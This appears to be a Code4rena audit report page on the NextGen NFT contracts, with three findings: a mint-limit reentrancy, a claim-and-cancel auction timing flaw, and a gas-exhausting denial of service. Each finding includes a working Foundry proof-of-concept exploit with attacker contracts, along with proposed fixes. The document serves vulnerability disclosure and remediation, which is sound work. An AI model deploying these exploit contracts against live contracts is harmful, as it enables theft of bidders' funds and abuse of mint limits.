Platform: Code4rena
Start Date: 30/10/2023
Pot Size: $49,250 USDC
Total HM: 14
Participants: 243
Period: 14 days
Judge: 0xsomeone
Id: 302
League: ETH
Rank: 138/243
Findings: 3
Award: $2.92
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: btk
Also found by: 00xSEV, 0x175, 0x180db, 0x3b, 0xAlix2, 0xJuda, 0xpiken, 0xraion, 3th, 836541, Al-Qa-qa, AvantGard, Aymen0909, Beosin, ChrisTina, DarkTower, DeFiHackLabs, EricWWFCP, Kose, Kow, KupiaSec, MrPotatoMagic, Neo_Granicen, PENGUN, PetarTolev, Ruhum, Soul22, SovaSlava, SpicyMeatball, Talfao, The_Kakers, Toshii, Tricko, VAD37, Viktor_Cortess, ZdravkoHr, _eperezok, alexxander, audityourcontracts, ayden, bird-flu, bronze_pickaxe, codynhat, critical-or-high, danielles0xG, degensec, droptpackets, evmboi32, fibonacci, flacko, gumgumzum, ilchovski, immeas, innertia, jacopod, joesan, ke1caM, kk_krish, mojito_auditor, nuthan2x, phoenixV110, pontifex, r0ck3tz, sces60107, seeques, sl1, smiling_heretic, stackachu, t0x1c, trachev, turvy_fuzz, ubl4nk, ustas, xAriextz, xuwinnie, y4y
0.152 USDC - $0.15
https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/hardhat/smart-contracts/MinterContract.sol#L196 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/hardhat/smart-contracts/NextGenCore.sol#L231
The reentrancy vulnerability in the NextGenMinterContract::mint
function allows an attacker to bypass the restriction of minting only one NFT per period. The reentrencies can be achieved from the _safeMint
in the function NextGenCore::_mintProcessing
to call the function NextGenMinterContract::mint
again and again. The attacker can also bypass the viewMaxAllowance
check for any sales option. Consequently, an attacker could exploit this to mint many NFTs within a single period and for any max allowance set.
This could distrupt the collection supply, and bypass any intended restriction and allowance that was set by the function admin of the NextGenCore::createCollection
.
The issue arises because the following parameters do not update after each call. Basically, after reentering, gencore.retrieveTokensMintedPublicPerAddress(col, msg.sender)
does not update while _numberOfTokens
and gencore.viewMaxAllowance(col)
stay the same.
require(_numberOfTokens <= gencore.viewMaxAllowance(col), "Change no of tokens"); require(gencore.retrieveTokensMintedPublicPerAddress(col, msg.sender) + _numberOfTokens <= gencore.viewMaxAllowance(col), "Max");
Following the same logic, for the sales Option == 3, the following conditions do not revert because :
_numberOfTokens
stays the same (=1)collectionPhases[col].allowlistStartTime + (collectionPhases[col].timePeriod * (gencore.viewCirSupply(col) - 1))
also stays the same. Since this code will run after the last iteration, the circulating supply will not change (and it will be equal to the number of iteration or reentrencies). As long as tDiff>1
, the reentrency will work.uint tDiff = (block.timestamp - timeOfLastMint) / collectionPhases[col].timePeriod; require(tDiff>=1 && _numberOfTokens == 1, "1 mint/period"); lastMintDate[col] = collectionPhases[col].allowlistStartTime + (collectionPhases[col].timePeriod * (gencore.viewCirSupply(col) - 1));
You can add this test to the file nextGen.t.sol of our foundry setup in gist C4 nextGen foundry setup. And execute it with the command forge test --mt testCanReenterMintForSaleOption3 -vvvv
function testCanReenterMintForSaleOption3() public { createAndSetCollections(); Attack attacker = new Attack(address(hhMinter)); vm.deal(address(attacker), 10 ether); vm.deal(address(user), 10 ether); bytes32[] memory bytesB = new bytes32[](1); bytesB[0] = 0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870; uint256 msgValue = 1 ether; vm.warp(1698138500); vm.prank(address(attacker)); hhMinter.mint{value: msgValue}(3, 1, 100, "tokenData", address(attacker), bytesB, address(0), 1); // Check that max allowance per address is equal to 1 assertEq(hhCore.viewMaxAllowance(3), 1); // Check that attacker has minted many NFTs for the same period assertEq(IERC721(hhCore).ownerOf(30000000000), address(attacker)); assertEq(IERC721(hhCore).ownerOf(30000000001), address(attacker)); assertEq(IERC721(hhCore).ownerOf(30000000002), address(attacker)); assertEq(IERC721(hhCore).ownerOf(30000000003), address(attacker)); assertEq(IERC721(hhCore).ownerOf(30000000004), address(attacker)); // Check that a user cannot mint more than 1 NFT vm.prank(address(user)); hhMinter.mint{value: 4 ether}(3, 1, 100, "tokenData", address(user), bytesB, address(0), 1); vm.expectRevert(abi.encodePacked("Max")); // Can only buy 1 nft per collection vm.prank(address(user)); hhMinter.mint{value: 4 ether}(3, 1, 100, "tokenData", address(user), bytesB, address(0), 1); } // Attack contract import "smart-contracts/IERC721Receiver.sol"; interface IMinterContract { function mint( uint256 _collectionID, uint256 _numberOfTokens, uint256 _maxAllowance, string memory _tokenData, address _mintTo, bytes32[] calldata merkleProof, address _delegator, uint256 _saltfun_o ) external payable; function burnToMint(uint256 _burnCollectionID, uint256 _tokenId, uint256 _mintCollectionID, uint256 _saltfun_o) external payable; } contract Attack is IERC721Receiver { IMinterContract public immutable minterContract; uint256 _tokenId; uint256 value = 1 ether; uint256 rotation; constructor(address _minterContract) { minterContract = IMinterContract(_minterContract); _tokenId = 30000000000 - 1; } function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) public returns (bytes4) { rotation += 1; while (address(this).balance > 1 && rotation < 5) { _tokenId += 1; attack(_tokenId); } return IERC721Receiver.onERC721Received.selector; } function attack(uint256 tokenId) public payable { bytes32[] memory bytesB = new bytes32[](1); bytesB[0] = 0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870; value += value * 20 / 100; minterContract.mint{value: value}(3, 1, 100, "tokenData", address(this), bytesB, address(0), 1); } }
Manual review + foundry
NextGenMinterContract::mint
&& NextGenCore::mint
For the second recommandation you can consider the following changes :
function NextGenMinterContract::mint
:
- collectionTotalAmount[col] = collectionTotalAmount[col] + msg.value; - // control mechanism for sale option 3 - if (collectionPhases[col].salesOption == 3) { - uint timeOfLastMint; - if (lastMintDate[col] == 0) { - timeOfLastMint = collectionPhases[col].allowlistStartTime - collectionPhases[col].timePeriod; - } else { - timeOfLastMint = lastMintDate[col]; - } - // uint calculates if period has passed in order to allow minting - uint tDiff = (block.timestamp - timeOfLastMint) / collectionPhases[col].timePeriod; - require(tDiff>=1 && _numberOfTokens == 1, "1 mint/period"); - lastMintDate[col] = collectionPhases[col].allowlistStartTime + (collectionPhases[col].timePeriod * - (gencore.viewCirSupply(col) - 1)); - } function mint(uint256 _collectionID, uint256 _numberOfTokens, uint256 _maxAllowance, string memory _tokenData, address _mintTo, bytes32[] calldata merkleProof, address _delegator, uint256 _saltfun_o) public payable { + collectionTotalAmount[col] = collectionTotalAmount[col] + msg.value; + // control mechanism for sale option 3 + if (collectionPhases[col].salesOption == 3) { + uint timeOfLastMint; + if (lastMintDate[col] == 0) { + timeOfLastMint = collectionPhases[col].allowlistStartTime - collectionPhases[col].timePeriod; + } else { + timeOfLastMint = lastMintDate[col]; + } + // uint calculates if period has passed in order to allow minting + uint tDiff = (block.timestamp - timeOfLastMint) / collectionPhases[col].timePeriod; + require(tDiff>=1 && _numberOfTokens == 1, "1 mint/period"); + lastMintDate[col] = collectionPhases[col].allowlistStartTime + (collectionPhases[col].timePeriod * + (gencore.viewCirSupply(col))); + }
function NextGenCore::mint
:
function mint(uint256 mintIndex, address _mintingAddress , address _mintTo, string memory _tokenData, uint256 _saltfun_o, uint256 _collectionID, uint256 phase) external { require(msg.sender == minterContract, "Caller is not the Minter Contract"); collectionAdditionalData[_collectionID].collectionCirculationSupply = collectionAdditionalData[_collectionID].collectionCirculationSupply + 1; if (collectionAdditionalData[_collectionID].collectionTotalSupply >= collectionAdditionalData[_collectionID].collectionCirculationSupply) { _mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o); - if (phase == 1) { - tokensMintedAllowlistAddress[_collectionID][_mintingAddress] = - tokensMintedAllowlistAddress[_collectionID][_mintingAddress] + 1; - } else { - tokensMintedPerAddress[_collectionID][_mintingAddress] = tokensMintedPerAddress[_collectionID] - [_mintingAddress] + 1; - } } } } function mint(uint256 mintIndex, address _mintingAddress , address _mintTo, string memory _tokenData, uint256 _saltfun_o, uint256 _collectionID, uint256 phase) external { require(msg.sender == minterContract, "Caller is not the Minter Contract"); collectionAdditionalData[_collectionID].collectionCirculationSupply = collectionAdditionalData[_collectionID].collectionCirculationSupply + 1; if (collectionAdditionalData[_collectionID].collectionTotalSupply >= collectionAdditionalData[_collectionID].collectionCirculationSupply) { + if (phase == 1) { + tokensMintedAllowlistAddress[_collectionID][_mintingAddress] = + tokensMintedAllowlistAddress[_collectionID][_mintingAddress] + 1; + } else { + tokensMintedPerAddress[_collectionID][_mintingAddress] = tokensMintedPerAddress[_collectionID] + [_mintingAddress] + 1; + } _mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o); } }
Reentrancy
#0 - c4-pre-sort
2023-11-18T11:46:55Z
141345 marked the issue as duplicate of #688
#1 - c4-pre-sort
2023-11-18T11:55:43Z
141345 marked the issue as not a duplicate
#2 - c4-pre-sort
2023-11-18T11:56:00Z
141345 marked the issue as duplicate of #383
#3 - c4-pre-sort
2023-11-26T09:16:35Z
141345 marked the issue as not a duplicate
#4 - c4-pre-sort
2023-11-26T09:16:55Z
141345 marked the issue as duplicate of #51
#5 - c4-pre-sort
2023-11-26T14:04:07Z
141345 marked the issue as duplicate of #1742
#6 - c4-judge
2023-12-04T20:44:53Z
alex-ppg marked the issue as not a duplicate
#7 - c4-judge
2023-12-08T16:13:32Z
alex-ppg marked the issue as duplicate of #1517
#8 - c4-judge
2023-12-08T16:50:57Z
alex-ppg marked the issue as satisfactory
#9 - c4-judge
2023-12-09T00:18:52Z
alex-ppg changed the severity to 3 (High Risk)
🌟 Selected for report: smiling_heretic
Also found by: 00decree, 00xSEV, 0x180db, 0x3b, 0x656c68616a, 0xAadi, 0xAleko, 0xAsen, 0xDetermination, 0xJuda, 0xMAKEOUTHILL, 0xMango, 0xMosh, 0xSwahili, 0x_6a70, 0xarno, 0xgrbr, 0xpiken, 0xsagetony, 3th, 8olidity, ABA, AerialRaider, Al-Qa-qa, Arabadzhiev, AvantGard, CaeraDenoir, ChrisTina, DanielArmstrong, DarkTower, DeFiHackLabs, Deft_TT, Delvir0, Draiakoo, Eigenvectors, Fulum, Greed, HChang26, Haipls, Hama, Inference, Jiamin, JohnnyTime, Jorgect, Juntao, Kaysoft, Kose, Kow, Krace, MaNcHaSsS, Madalad, MrPotatoMagic, Neon2835, NoamYakov, Norah, Oxsadeeq, PENGUN, REKCAH, Ruhum, Shubham, Silvermist, Soul22, SovaSlava, SpicyMeatball, Talfao, TermoHash, The_Kakers, Toshii, TuringConsulting, Udsen, VAD37, Vagner, Zac, Zach_166, ZdravkoHr, _eperezok, ak1, aldarion, alexfilippov314, alexxander, amaechieth, aslanbek, ast3ros, audityourcontracts, ayden, bdmcbri, bird-flu, blutorque, bronze_pickaxe, btk, c0pp3rscr3w3r, c3phas, cartlex_, cccz, ciphermarco, circlelooper, crunch, cryptothemex, cu5t0mpeo, darksnow, degensec, dethera, devival, dimulski, droptpackets, epistkr, evmboi32, fibonacci, gumgumzum, immeas, innertia, inzinko, jasonxiale, joesan, ke1caM, kimchi, lanrebayode77, lsaudit, mahyar, max10afternoon, merlin, mrudenko, nuthan2x, oakcobalt, openwide, orion, phoenixV110, pontifex, r0ck3tz, rotcivegaf, rvierdiiev, seeques, shenwilly, sl1, slvDev, t0x1c, tallo, tnquanghuy0512, tpiliposian, trachev, twcctop, vangrim, volodya, xAriextz, xeros, xuwinnie, y4y, yobiz, zhaojie
0 USDC - $0.00
https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L105 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L125 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L116
The auctionDemo::claimAuction
and auctionDemo::cancelBid
functions can both be called in the same transaction if timed correctly. Winner can execute this transaction exactly when block.timestamp = minter.getAuctionEndTime(_tokenid)
. If timed perfectly, this could lead to unintended consequences, such as a user being able to claim the NFT and cancel their bid at the same time. Although this is difficult to achieve. If the winner is also a block miner, he could have sufficient discretion over the block timestamp, which can make this scenario achievable.
Impact is high, as other bidders funds are at risk. Likelihood is low due to the complexity of the scenario which makes this issue medium risk.
There is a very short window where both auctionDemo::claimAuction
&& auctionDemo::cancelBid
can be called in the same transaction:
function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){ @> require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true); function cancelBid(uint256 _tokenid, uint256 index) public { @> require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");
The function auctionDemo::cancelBid
can also be called from inside the call assuming the winner has other addresses set up as bidders.
else if (auctionInfoData[_tokenid][i].status == true) { @> (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
You can add this test to the file nextGen.t.sol of our foundry setup in gist C4 nextGen foundry setup. And execute it with the command forge test --mt testBidAndCancelBid -vvvv
function testBidAndCancelBid() public { createAndSetCollections(); vm.deal(auctionBidder, 10 ether); // Note since this scenario only works if block.timestamp == auctionEndTime // auctionBidder knows in advance that he is the winner // sends a transaction with both claimAuction and cancelBid vm.warp(1698138500 + 300); hhMinter.mintAndAuction(auction, '{"tdh": "100"}', 3, 2, 1998138500); uint256 tokenId = 20000000000; // second collection vm.prank(auctionBidder); hhAuction.participateToAuction{value: 2 ether}(tokenId); vm.prank(auction); IERC721(hhCore).approve(address(hhAuction), 20000000000); vm.warp(1998138500); vm.prank(auctionBidder); hhAuction.claimAuction(tokenId); // claim rewards vm.prank(auctionBidder); hhAuction.cancelBid(tokenId, 0); // cancels Bid after claming reward }
Manual review + foundry
auctionInfoData
status to false :function auctionDemo::claimAuction
:
for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) { if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) { + auctionInfoData[_tokenid][i].status = false; IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid); (bool success, ) = payable(owner()).call{value: highestBid}(""); emit ClaimAuction(owner(), _tokenid, success, highestBid); } else if (auctionInfoData[_tokenid][i].status == true) { + auctionInfoData[_tokenid][i].status = false; (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}(""); emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid); } else {} }
Other
#0 - c4-pre-sort
2023-11-14T10:53:39Z
141345 marked the issue as primary issue
#1 - c4-pre-sort
2023-11-14T14:21:11Z
141345 marked the issue as duplicate of #962
#2 - c4-judge
2023-12-01T15:02:43Z
alex-ppg marked the issue as not a duplicate
#3 - c4-judge
2023-12-01T15:02:52Z
alex-ppg marked the issue as duplicate of #1788
#4 - c4-judge
2023-12-08T17:54:17Z
alex-ppg marked the issue as satisfactory
#5 - c4-judge
2023-12-09T00:20:29Z
alex-ppg changed the severity to 3 (High Risk)
🌟 Selected for report: The_Kakers
Also found by: 00xSEV, 0xAsen, 0xDetermination, 0xJuda, 0xWaitress, 0xhunter, 0xlemon, 0xpiken, Al-Qa-qa, Arabadzhiev, CSL, CaeraDenoir, DarkTower, DeFiHackLabs, Greed, Haipls, MaNcHaSsS, NentoR, NoamYakov, PENGUN, Ruhum, Soul22, SovaSlava, Talfao, Toshii, TuringConsulting, VAD37, Vagner, Valix, Viktor_Cortess, ZdravkoHr, audityourcontracts, btk, codynhat, flacko, funkornaut, glcanvas, gumgumzum, immeas, innertia, ke1caM, lanrebayode77, lsaudit, mrudenko, niki, nmirchev8, openwide, oualidpro, r0ck3tz, rvierdiiev, trachev, yojeff
2.7688 USDC - $2.77
https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L116 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L110
As explained in the solidity documentation, unlike transfer
or send
, call
forwards all gas. An attacker, can set himself up as a bidder then forces the call to consume all available gas which will permanently DOS the function auctionDemo::claimAuction
.
The impact is high, as the winner cannot claim the NFT plus non-winning bidders can lose their funds because they will not be able to get a refund. All the auctions are impacted.
The following code line transfers all gas to the subsequent logic.
function auctionDemo::claimAuction
:
else if (auctionInfoData[_tokenid][i].status == true) { @> (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}(""); emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid);
If one call is set up such as the fallback
or receive
function of the bidder's address consumes all gas, the function claimAuction
will permanently revert.
The winner cannot claim the NFT. The other bidders cannot get a refund because the cancel functions assume that minter.getAuctionEndTime(_tokenid)
has not yet been passed.
You can add this test to the file nextGen.t.sol of our foundry setup in gist C4 nextGen foundry setup. And execute it with the command forge test --mt testClaimAlwaysReverts -vvvv
function testClaimAlwaysReverts() public { createAndSetCollections(); vm.deal(auctionBidder, 10 ether); attackerDOS attackerBidder = new attackerDOS(); vm.deal(address(attackerBidder), 10 ether); vm.warp(1698138500 + 200); hhMinter.mintAndAuction(auction, '{"tdh": "100"}', 3, 2, 1998138500); uint256 tokenId = 20000000000; // second collection vm.prank(address(attackerBidder)); hhAuction.participateToAuction{value: 1 ether}(tokenId); vm.prank(auctionBidder); hhAuction.participateToAuction{value: 2 ether}(tokenId); vm.prank(auction); IERC721(hhCore).approve(address(hhAuction), 20000000000); vm.warp(1998138500); // Since this is being done in foundry, the call will never end. In a simulated chain this should revert because Out of gas error. vm.prank(auctionBidder); hhAuction.claimAuction(tokenId); } contract attackerDOS { receive() external payable { // Attempt to consume a lot of gas while (true) {} } }
Note that the test testClaimAlwaysReverts() never ends if run in foundry directly as unit testing does not consider the gas limit. But in a simulated chain or other web framework (Remix for example), this test should revert as expected because out of gas error.
Manual review + foundry
auctionDemo::claimAuction
function as this creates weaknesses. Instead, allow each user (pull over push pattern) to withdraw his funds back (except for the winner). Also, allow bidders (except winner) to withdraw their funds at any time from the cancel functions.function auctionDemo::claimAuction
:
for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) { if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) { + auctionInfoData[_tokenid][i].status = false; IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid); (bool success, ) = payable(owner()).call{value: highestBid}(""); emit ClaimAuction(owner(), _tokenid, success, highestBid); } - else if (auctionInfoData[_tokenid][i].status == true) { - (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: - auctionInfoData[_tokenid][i].bid}(""); - emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid); - } else {} }
function auctionDemo::cancelBid
:
- require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");
function auctionDemo::cancelAllBids
:
- require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");
DoS
#0 - c4-pre-sort
2023-11-20T01:03:53Z
141345 marked the issue as duplicate of #486
#1 - c4-judge
2023-12-01T22:21:03Z
alex-ppg marked the issue as not a duplicate
#2 - c4-judge
2023-12-01T22:21:22Z
alex-ppg marked the issue as duplicate of #1782
#3 - c4-judge
2023-12-08T20:50:03Z
alex-ppg marked the issue as satisfactory